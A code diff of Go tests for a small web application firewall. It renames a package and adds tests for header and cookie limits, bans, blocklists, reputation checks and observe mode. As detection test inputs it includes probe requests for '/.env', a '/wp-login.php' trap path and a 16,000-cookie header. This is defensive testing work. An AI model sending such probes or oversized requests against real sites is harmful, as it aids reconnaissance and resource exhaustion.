-		attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
-			requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
-		attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
-			otherClient, otherBans[1], "permanent"),
+		attackAlert(
+			alerts.EventBan,
+			start.Add(time.Minute),
+			otherClient,
+			otherBans[0],
+			requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour)),
+		),
+		attackAlert(
+			alerts.EventPermanentBan,
+			start.Add(time.Minute+7*24*time.Hour),
+			otherClient,
+			otherBans[1],
+			"permanent",
+		),
 	)
 }
 
@@ -108,7 +128,11 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
 	// A ban for a clear sign of attack, which a request under it would make
 	// permanent.
 	group := netip.MustParsePrefix(ipv6Group)
-	attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
+	attackBan, _ := server.Ledger.BanForAttack(
+		group,
+		start,
+		bans.Notes{RuleID: "probe"},
+	)
 
 	// The third request breaks the limit, and so does the fourth, within the
 	// cooldown, which raises nothing. The probe is a clear sign of attack.
@@ -123,8 +147,12 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
 	held := server.Ledger.Snapshot()
 	if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
 		line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
-		t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
-			"for the attack alone, as it was", held, line.BanExpires)
+		t.Errorf(
+			"the ledger holds %+v, and the log line gives %s, want the ban "+
+				"for the attack alone, as it was",
+			held,
+			line.BanExpires,
+		)
 	}
 
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
@@ -138,21 +166,35 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
 
 	if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
 		attackNotes.Request.Path != "/.env" {
-		t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
-			"of the probe", limitNotes, attackNotes)
+		t.Errorf(
+			"the notes are %+v and %+v, want those of the broken limit and "+
+				"of the probe",
+			limitNotes,
+			attackNotes,
+		)
 	}
 
 	// Each alert is the one enforce mode would have raised, with mode
 	// observe in its detail.
 	want := []alerts.Alert{
 		banAlert(alerts.EventBan, start, client, bans.Ban{
-			Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
+			Netblock: netip.MustParsePrefix(
+				client + "/32",
+			), Cause: bans.CauseLimit,
 			Reason: "requests per minute over the limit of 2", Notes: limitNotes,
 		}, requestlog.FormatTime(start.Add(time.Hour))),
 		attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
-			Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
+			Netblock: netip.MustParsePrefix(
+				otherClient + "/32",
+			), Notes: attackNotes,
 		}, requestlog.FormatTime(start.Add(7*24*time.Hour))),
-		attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
+		attackAlert(
+			alerts.EventPermanentBan,
+			start,
+			ipv6Client,
+			attackBan,
+			permanent,
+		),
 	}
 	for _, alert := range want {
 		alert.Detail["mode"] = observe
@@ -180,7 +222,12 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
 	// The other client's first probe raises the second. Its second probe is
 	// within the cooldown.
 	for range 2 {
-		s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
+		s.request(
+			otherClient,
+			"/.env",
+			http.StatusOK,
+			requestlog.ActionForward,
+		)
 	}
 
 	// The IPv6 client's third request breaks the limit past the two alerts
@@ -203,16 +250,20 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
 // never sent them, and returns the queue they wait in as well.
 func startWithAlerts(
 	t *testing.T, env map[string]string,
-) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
+) (*sender, *clock, *waf.Server, *alerts.Queue) {
 	t.Helper()
 
-	return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
+	return startAppWithAlerts(
+		t,
+		func(http.ResponseWriter, *http.Request) {},
+		env,
+	)
 }
 
 // startAppWithAlerts is startWithAlerts in front of the app handler.
 func startAppWithAlerts(
 	t *testing.T, handler http.HandlerFunc, env map[string]string,
-) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
+) (*sender, *clock, *waf.Server, *alerts.Queue) {
 	t.Helper()
 
 	app := startApp(t, handler)
@@ -224,9 +275,15 @@ func startAppWithAlerts(
 	}
 	maps.Copy(settings, env)
 
-	addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
+	addr, out, server, queue := startProxyWithAlerts(
+		t,
+		app.URL,
+		"",
+		clk.Now,
+		settings,
+	)
 
-	s := &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}
+	s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}
 
 	return s, clk, server, queue
 }
@@ -235,7 +292,11 @@ func startAppWithAlerts(
 // the time raised, for ban, with its netblock, cause, reason and notes,
 // which ends at expires, as the log line gives it.
 func banAlert(
-	event string, raised time.Time, client string, ban bans.Ban, expires string,
+	event string,
+	raised time.Time,
+	client string,
+	ban bans.Ban,
+	expires string,
 ) alerts.Alert {
 	return alerts.Alert{
 		Instance: alertInstance,
@@ -254,7 +315,11 @@ func banAlert(
 // attackAlert is banAlert for a ban for the probe rule of testRules, with
 // the netblock and the notes of ban.
 func attackAlert(
-	event string, raised time.Time, client string, ban bans.Ban, expires string,
+	event string,
+	raised time.Time,
+	client string,
+	ban bans.Ban,
+	expires string,
 ) alerts.Alert {
 	return banAlert(event, raised, client, bans.Ban{
 		Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",

internal/waf/anomaly_internal_test.go

@@ -1,4 +1,4 @@
-package discriminator
+package waf
 
 import (
 	"net/netip"
@@ -24,7 +24,10 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
 
 	defer func() {
 		if r := recover(); r != nil {
-			t.Errorf("counting the request did work, with every threshold off: %v", r)
+			t.Errorf(
+				"counting the request did work, with every threshold off: %v",
+				r,
+			)
 		}
 	}()
 

internal/waf/anomaly_test.go

@@ -1,4 +1,4 @@
-package discriminator_test
+package waf_test
 
 import (
 	"maps"
@@ -13,9 +13,9 @@ import (
 
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/anomaly"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 // The anomaly thresholds: the prefix of a scope followed by the end of a
@@ -51,7 +51,9 @@ const (
 	hour = "hour"
 )
 
-func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
+func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for _, scope := range []struct {
@@ -95,9 +97,8 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
 			t.Run(setting, func(t *testing.T) {
 				t.Parallel()
 
-				s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
-					setting: value, watchNets: office,
-				})
+				env := map[string]string{setting: value, watchNets: office}
+				s, clk, server, queue := startWithLookupsAndClock(t, env)
 				start := clk.Now()
 
 				// The third upload takes the count over the threshold, and the
@@ -156,7 +157,10 @@ func wantAlertedAgainOnceTheCooldownHasRunOut(
 	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
 	if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
 		waiting[1].SuppressedRepeats != 1 {
-		t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
+		t.Errorf(
+			"alerts wait %+v, want the first and another, with 1 repeat",
+			waiting,
+		)
 	}
 }
 
@@ -201,7 +205,10 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
 		got = append(got, alert.Client.String())
 	}
 
-	if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
+	if want := []string{allowed, exempt, client, denied}; !slices.Equal(
+		got,
+		want,
+	) {
 		t.Errorf("alerts for the clients %v, want %v", got, want)
 	}
 }
@@ -210,7 +217,10 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
 	t.Parallel()
 
 	// With every threshold off, nothing is counted.
-	s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
+	s, server, queue := startWithLookups(
+		t,
+		map[string]string{watchNets: office},
+	)
 
 	for range 5 {
 		s.uploadFrom(client)
@@ -306,7 +316,10 @@ func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
 		got[counter.ASN] = counter.Minute.Current
 	}
 
-	if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
+	if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(
+		got,
+		want,
+	) {
 		t.Errorf("requests by AS number %v, want %v", got, want)
 	}
 }
@@ -319,12 +332,14 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
 	// kept.
 	geojsURL, _, release := startHeldGeoJS(t)
 
-	var server atomic.Pointer[discriminator.Server]
+	var server atomic.Pointer[waf.Server]
 
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {
 		release()
 		waitUntil(func() bool {
-			_, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
+			_, kept := server.Load().GeoJS.Kept(
+				netip.MustParsePrefix(fromDE + "/32"),
+			)
 
 			return kept
 		})
@@ -342,7 +357,10 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
 	// number it gives.
 	s := &sender{t: t, addr: addr, out: out}
 	if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
-		t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
+		t.Errorf(
+			"log line has AS number %q, want none: the request waited",
+			line.ASN,
+		)
 	}
 
 	want := []anomaly.Counter{{
@@ -357,10 +375,15 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
 func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
 	t.Parallel()
 
-	s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
-		anomalyWatch + requestsPerMinute: aLot,
-		watchNets:                        office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
-	})
+	s, _, server, _ := startAppWithAlerts(
+		t,
+		readAndAnswer,
+		map[string]string{
+			anomalyWatch + requestsPerMinute: aLot,
+			watchNets: office + ",wide=203.0.0.0/16" +
+				",other=198.51.100.0/25",
+		},
+	)
 
 	// client is in office and in wide.
 	for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
@@ -372,7 +395,10 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
 		got[counter.Name] = counter.Minute.Current
 	}
 
-	if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
+	if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(
+		got,
+		want,
+	) {
 		t.Errorf("requests by named netblock %v, want %v", got, want)
 	}
 }

internal/waf/answertime_test.go

@@ -0,0 +1,897 @@
+package waf_test
+
+import (
+	"encoding/binary"
+	"fmt"
+	"maps"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"path/filepath"
+	"slices"
+	"strconv"
+	"strings"
+	"sync"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"github.com/prometheus/client_golang/prometheus/testutil"
+
+	"sneak.berlin/go/smallwebwaf/internal/bans"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
+)
+
+const (
+	// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
+	// waf has to answer.
+	answerTimeLimit = 2 * time.Second
+	// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
+	defaultLookupWait = 800 * time.Millisecond
+	// defaultReputationWait is the default of SWW_REPUTATION_TIMEOUT.
+	defaultReputationWait = 2 * time.Second
+	// The header limits SPEC.md gives.
+	cookieLimit      = 50
+	headerFieldLimit = 100
+	// cookieHeader is the header the cookie limit counts.
+	cookieHeader = "Cookie"
+	// tooLarge is how waf refuses a request over the header limits.
+	tooLarge = http.StatusRequestHeaderFieldsTooLarge
+	// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
+	// that silentGeoJSURL names too.
+	silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
+	// wholeLimit is the percentage of a rate limit that lowers it not at all.
+	wholeLimit = 100
+	// clientsDecision is the CrowdSec decision list holding client alone.
+	clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
+		`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
+)
+
+// cookies returns a Cookie header's value with count cookies.
+func cookies(count int) string {
+	parts := make([]string, 0, count)
+	for i := range count {
+		parts = append(parts, "c"+strconv.Itoa(i)+"=1")
+	}
+
+	return strings.Join(parts, "; ")
+}
+
+// fillHeaders adds headers to a question until the checks see total header
+// fields: all but ClientHeader and PeerHeader, which waf removes. Go's
+// client sends nothing else but Host, which the limit does not count, once
+// User-Agent is set.
+func fillHeaders(req *http.Request, total int) {
+	req.Header.Set("User-Agent", "test")
+
+	for i := len(req.Header) - 2; i < total; i++ {
+		req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
+	}
+}
+
+func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	s := startWAF(t, "", map[string]string{wafMode: block})
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
+
+	got := do(t, req)
+
+	wantDisposition(t, got, tooLarge, waf.DispositionDeny)
+
+	line := s.out.requestLine(t)
+	wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
+
+	if line.DurationCoreRuleSetMS != nil {
+		t.Errorf(
+			"the Core Rule Set read the request, for %f ms",
+			*line.DurationCoreRuleSetMS,
+		)
+	}
+}
+
+func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
+	t.Parallel()
+
+	s := startWAF(t, "", nil)
+	req := s.question(siteA, client, "/")
+	fillHeaders(req, headerFieldLimit+1)
+	do(t, req)
+
+	wantHeuristic(
+		t,
+		s.out.requestLine(t),
+		"header_limits",
+		`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`,
+	)
+}
+
+func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
+	t.Parallel()
+
+	repeated := make([]string, headerFieldLimit)
+	for i := range repeated {
+		repeated[i] = "1"
+	}
+
+	for _, tc := range []struct {
+		name string
+		make func(*http.Request)
+		// refused is true for a request over a limit, and false for one at it.
+		refused bool
+	}{
+		{"cookies at the limit", func(req *http.Request) {
+			req.Header.Set(cookieHeader, cookies(cookieLimit))
+		}, false},
+		{"cookies over the limit", func(req *http.Request) {
+			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+		}, true},
+		{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
+			req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
+		}, false},
+		{"parts of no-break spaces count", func(req *http.Request) {
+			req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
+		}, true},
+		{"cookies over the limit across two headers", func(req *http.Request) {
+			req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
+		}, true},
+		{"cookies without a value count", func(req *http.Request) {
+			req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
+		}, true},
+		{"header fields at the limit", func(req *http.Request) {
+			fillHeaders(req, headerFieldLimit)
+		}, false},
+		{"header fields over the limit", func(req *http.Request) {
+			fillHeaders(req, headerFieldLimit+1)
+		}, true},
+		{"a header sent many times counts each time", func(req *http.Request) {
+			req.Header["X-Filler"] = repeated
+		}, true},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s := startWAF(t, "", map[string]string{wafMode: block})
+			req := s.question(siteA, client, "/")
+			tc.make(req)
+
+			got := do(t, req)
+			line := s.out.requestLine(t)
+
+			if tc.refused {
+				wantDisposition(t, got, tooLarge, waf.DispositionDeny)
+				wantLine(
+					t,
+					line,
+					tooLarge,
+					requestlog.ActionRequestHeaderTooLarge,
+				)
+
+				return
+			}
+
+			wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
+			wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+
+			if line.DurationCoreRuleSetMS == nil {
+				t.Error(
+					"the Core Rule Set did not read a request within the limits",
+				)
+			}
+		})
+	}
+}
+
+func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
+	t.Parallel()
+
+	for _, env := range []map[string]string{
+		{wafMode: off},
+		{wafMode: "detect"},
+		{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
+	} {
+		t.Run(fmt.Sprint(env), func(t *testing.T) {
+			t.Parallel()
+
+			s := startWAF(t, "", env)
+			req := s.question(siteA, client, "/")
+			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+			wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
+		})
+	}
+}
+
+func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
+	t.Parallel()
+
+	s := startWAF(
+		t,
+		"",
+		map[string]string{wafMode: block, allowNets: client},
+	)
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	wantDisposition(t, do(t, req), http.StatusOK, waf.DispositionAllow)
+}
+
+func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
+	t.Parallel()
+
+	s := startWAF(t, "", map[string]string{mode: observe, wafMode: block})
+	req := s.question(siteA, client, "/")
+	req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
+
+	got := do(t, req)
+
+	wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
+
+	line := s.out.requestLine(t)
+	if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
+		line.DurationCoreRuleSetMS != nil {
+		t.Errorf(
+			"would_action %q and duration_core_rule_set_ms %v, want %q and none",
+			line.WouldAction,
+			line.DurationCoreRuleSetMS,
+			requestlog.ActionRequestHeaderTooLarge,
+		)
+	}
+}
+
+func TestTheRateLimitsDoNotCountRequestsOverTheHeaderLimits(t *testing.T) {
+	t.Parallel()
+
+	s := startWAF(t, "", map[string]string{rateLimitPerMinute: "1"})
+
+	for range 2 {
+		req := s.question(siteA, client, "/")
+		req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+		wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
+	}
+
+	wantDisposition(
+		t,
+		s.ask(client, "/"),
+		http.StatusOK,
+		waf.DispositionAllow,
+	)
+}
+
+func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
+	t.Parallel()
+
+	// The lookup database places client in Germany.
+	lookupDB := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.Write(t, lookupDB, map[string]lookuptest.Network{
+		client + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
+	})
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		path string
+		// prepare gets the server ready, at now, before the question.
+		prepare func(t *testing.T, server *waf.Server, now time.Time)
+	}{
+		{"SWW_DENY_NETS", map[string]string{denyNets: client}, "/", leaveAsItIs},
+		{"a ban", nil, "/", banClient},
+		{
+			"the country list", map[string]string{
+				lookupSource: fileSource, lookupDBPath: lookupDB, allowedCountries: "FR",
+			},
+			"/", leaveAsItIs,
+		},
+		{"a blocklist", map[string]string{blocklistURLs: dropURL}, "/", listClient},
+		{
+			"the CrowdSec decision list",
+			map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey}, "/", decideOnClient,
+		},
+		{
+			"a DNS blocklist", map[string]string{
+				dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
+			},
+			"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
+				loadVerdicts(server, map[string][]string{client: {dnsblZone}})
+			},
+		},
+		{
+			"AbuseIPDB",
+			map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
+			"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
+				// Over SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
+				loadScores(server, map[string]int64{client: 80})
+			},
+		},
+		{
+			"SWW_TAG_DENY", map[string]string{tagLists: "vpn=" + vpnList, tagDeny: "vpn"},
+			"/", func(t *testing.T, server *waf.Server, _ time.Time) {
+				t.Helper()
+				loadLists(t, server, map[string][]string{vpnList: {client}})
+			},
+		},
+		{"the rate limits", map[string]string{rateLimitPerMinute: "1"}, "/", countClient},
+		{
+			"a trap path", map[string]string{trapPaths: trapPathList}, "/wp-login.php",
+			leaveAsItIs,
+		},
+		{
+			"a block rule", map[string]string{rulesDir: writeRules(t, testRules)}, "/blocked",
+			leaveAsItIs,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s := startWAF(t, "", tc.env)
+			tc.prepare(t, s.server, s.clock.Now())
+
+			req := s.question(siteA, client, tc.path)
+			req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+			wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
+			wantLine(
+				t,
+				s.out.requestLine(t),
+				tooLarge,
+				requestlog.ActionRequestHeaderTooLarge,
+			)
+		})
+	}
+}
+
+func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
+	t.Parallel()
+
+	// Each check after the header limits leaves a mark on the log line of a
+	// request it reads: a tag, routewatch_tags_missing, a rule id, the
+	// counts, or the Core Rule Set's time.
+	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.Write(t, path, map[string]lookuptest.Network{
+		client + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
+	})
+	s := startWAF(t, "", map[string]string{
+		lookupSource: fileSource, lookupDBPath: path,
+		tagLists: "vpn=" + vpnList,
+		routeWatchURL: startRouteWatch(
+			t,
+			map[string]standInRoute{client: {prefixDE, 64496}},
+		),
+		dnsblZones: dnsblZone, reputationAction: actionLog,
+		rulesDir: writeRules(t, "noted path log ^/\n"),
+		wafMode:  block,
+	})
+	loadLists(t, s.server, map[string][]string{vpnList: {client}})
+	loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
+
+	over := s.question(siteA, client, "/")
+	over.Header.Set(cookieHeader, cookies(cookieLimit+1))
+	wantDisposition(t, do(t, over), tooLarge, waf.DispositionDeny)
+
+	within := s.question(siteA, client, "/")
+	within.Header.Set(cookieHeader, cookies(cookieLimit))
+	wantDisposition(t, do(t, within), http.StatusOK, waf.DispositionAllow)
+
+	lines := s.out.requestLines(t, 2)
+
+	wantTags(t, lines[0])
+	wantTagsMissing(t, lines[0], "")
+
+	if lines[0].RuleIDs != nil || lines[0].Counts != (ratelimit.Counts{}) ||
+		lines[0].DurationCoreRuleSetMS != nil {
+		t.Errorf(
+			"rule ids %v, counts %+v and Core Rule Set time %v, want none",
+			lines[0].RuleIDs,
+			lines[0].Counts,
+			lines[0].DurationCoreRuleSetMS,
+		)
+	}
+
+	// The request within the limits shows that each check leaves its mark.
+	wantTags(
+		t,
+		lines[1],
+		"asn=64496",
+		"country=DE",
+		"dnsbl="+dnsblZone,
+		"exploitsignature",
+		"vpn",
+	)
+	wantTagsMissing(t, lines[1], "no_answer_yet")
+
+	if lines[1].RuleIDs == nil || lines[1].Counts.Minute != 1 ||
+		lines[1].DurationCoreRuleSetMS == nil {
+		t.Errorf(
+			"rule ids %v, counts %+v and Core Rule Set time %v, want each",
+			lines[1].RuleIDs,
+			lines[1].Counts,
+			lines[1].DurationCoreRuleSetMS,
+		)
+	}
+}
+
+func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
+	t.Parallel()
+
+	// The client's next request takes it over the whole limit, so it does
+	// not wait.
+	geojsURL, _ := startGeoJS(t)
+	s := startWAF(t, geojsURL, map[string]string{
+		unknownLimitPercent: "0", lookupTimeout: "1h", rateLimitPerMinute: "1",
+	})
+	countClient(t, s.server, s.clock.Now())
+
+	wantDisposition(
+		t,
+		s.ask(fromDE, "/"),
+		http.StatusForbidden,
+		waf.DispositionDeny,
+	)
+
+	line := s.out.requestLine(t)
+	wantLine(
+		t,
+		line,
+		http.StatusForbidden,
+		requestlog.ActionClientIsRateLimited,
+	)
+
+	if line.RateLimitPercent != nil {
+		t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
+	}
+}
+
+func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	// The client's next request takes it over the whole limit, so it does
+	// not wait.
+	geojsURL, _ := startGeoJS(t)
+	s := startWAF(t, geojsURL, map[string]string{
+		unknownLimitPercent: "0", rateLimitPerMinute: "1",
+	})
+	s.server.GeoJS.Load([]lookup.Answer{{
+		Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
+		Answered: s.clock.Now(), Used: s.clock.Now(),
+	}})
+	countClient(t, s.server, s.clock.Now())
+
+	wantDisposition(
+		t,
+		s.ask(client, "/"),
+		http.StatusForbidden,
+		waf.DispositionDeny,
+	)
+
+	line := s.out.requestLine(t)
+	wantLine(
+		t,
+		line,
+		http.StatusForbidden,
+		requestlog.ActionClientIsRateLimited,
+	)
+
+	if line.RateLimitPercent == nil || *line.RateLimitPercent != 0 {
+		t.Errorf("limit percentage %v, want 0", line.RateLimitPercent)
+	}
+}
+
+func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	geojsURL, asked := startGeoJS(t)
+	s := startWAF(t, geojsURL, map[string]string{
+		mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
+	})
+	req := s.question(siteA, fromDE, "/")
+	req.Header.Set(cookieHeader, cookies(cookieLimit+1))
+
+	got := do(t, req)
+	wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
+
+	if len(asked()) != 0 || got.header.Get("X-Client-Asn") != "" {
+		t.Errorf(
+			"GeoJS was asked about %v, and the answer gave the AS number %q, "+
+				"want neither",
+			asked(),
+			got.header.Get("X-Client-Asn"),
+		)
+	}
+}
+
+// newWAFInBubble makes a waf for a synctest bubble: GeoJS never
+// answers, a setting needs its answer, and everything is at its default but
+// for env. No request to it may use the network.
+func newWAFInBubble(
+	t *testing.T, env map[string]string,
+) (*waf.Server, *output) {
+	t.Helper()
+
+	settings := map[string]string{tagDeny: "country=KP"}
+	maps.Copy(settings, env)
+
+	server, out, _ := newWAF(t, silentGeoJSURL, time.Now, settings)
+
+	return server, out
+}
+
+// askDirectly hands a question about a request from client straight to server,
+// as change leaves it, and returns the answer's status and how long it took.
+func askDirectly(
+	t *testing.T, server *waf.Server, change func(*http.Request),
+) (int, time.Duration) {
+	t.Helper()
+
+	req := httptest.NewRequestWithContext(
+		t.Context(),
+		http.MethodGet,
+		"/",
+		http.NoBody,
+	)
+	req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
+	req.Header.Set(waf.ClientHeader, client)
+	req.Header.Set(requestIDHeader, "the-id")
+	change(req)
+
+	recorder := httptest.NewRecorder()
+	began := time.Now()
+
+	server.Handler.ServeHTTP(recorder, req)
+
+	return recorder.Code, time.Since(began)
+}
+
+// banClient bans client at now.
+func banClient(_ *testing.T, server *waf.Server, now time.Time) {
+	server.Ledger.BanForLimit(
+		netip.MustParsePrefix(client+"/32"),
+		now,
+		bans.Notes{},
+	)
+}
+
+// countClient counts one request from client at now for the rate limits.
+func countClient(_ *testing.T, server *waf.Server, now time.Time) {
+	server.Limiter.Count(
+		netip.MustParsePrefix(client+"/32"),
+		now,
+		wholeLimit,
+	)
+}
+
+// listClient puts client on the blocklist at dropURL.
+func listClient(t *testing.T, server *waf.Server, now time.Time) {
+	t.Helper()
+
+	err := server.Lists.Load([]reputation.List{{
+		URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
+	}})
+	if err != nil {
+		t.Fatalf("load the blocklist: %v", err)
+	}
+}
+
+// decideOnClient puts client on the CrowdSec decision list.
+func decideOnClient(t *testing.T, server *waf.Server, now time.Time) {
+	t.Helper()
+	loadDecisions(t, server, now, clientsDecision)
+}
+
+// leaveAsItIs prepares nothing.
+func leaveAsItIs(*testing.T, *waf.Server, time.Time) {}
+
+func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
+	t.Parallel()
+
+	const forbidden = http.StatusForbidden
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// prepare gets the server ready, at now, before the question.
+		prepare func(t *testing.T, server *waf.Server, now time.Time)
+		// cookie is the request's Cookie header.
+		cookie string
+		status int
+		action string
+	}{
+		{
+			name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
+			prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
+		},
+		{
